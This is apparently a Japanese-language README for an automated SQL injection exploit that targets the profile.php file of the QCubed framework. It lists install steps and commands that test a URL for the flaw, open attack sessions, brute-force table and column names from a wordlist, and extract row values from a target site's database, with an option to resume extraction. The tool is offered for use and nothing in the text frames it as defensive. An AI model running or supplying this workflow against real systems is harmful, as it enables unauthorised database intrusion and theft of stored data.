
QCubedのprofile.phpファイル向け自動SQLインジェクション
Bunがインストールされている必要があります: https://bun.sh
依存関係をインストールするには:
bun install
実行するには:
# ヘルプを表示
bun run exploit -h
# 脆弱性のテスト
bun run exploit vulnerable -u https://site.com/framework/assets/_core/php/profile.php
# 新しいターゲットのセッションを作成
bun run exploit create -n your_session_name -u https://site.com/framework/assets/_core/php/profile.php
# テーブルの総当たり
bun run exploit brute-table -n your_session_name -w path/to/wordlist.txt
# 見つかったテーブルまたはテーブルのカラムを表示
bun run exploit show-table -n your_session_name
bun run exploit show-column -n your_session_name -t table_name
# IDの総当たり
bun run exploit brute-id -n your_session_name -t table_name -i 1
# 行の値の総当たり
# オプションで -r を追加すると、停止した場所から総当たりを再開できます
bun run exploit brute-column -n your_session_name -t table_name -c column_name -i 1
# テーブルの見つかったキーと値のペアを表示
# オプションで `-i id_value` を指定すると、特定のIDのみ表示
bun run exploit show-rows -n your_session_name -t table_name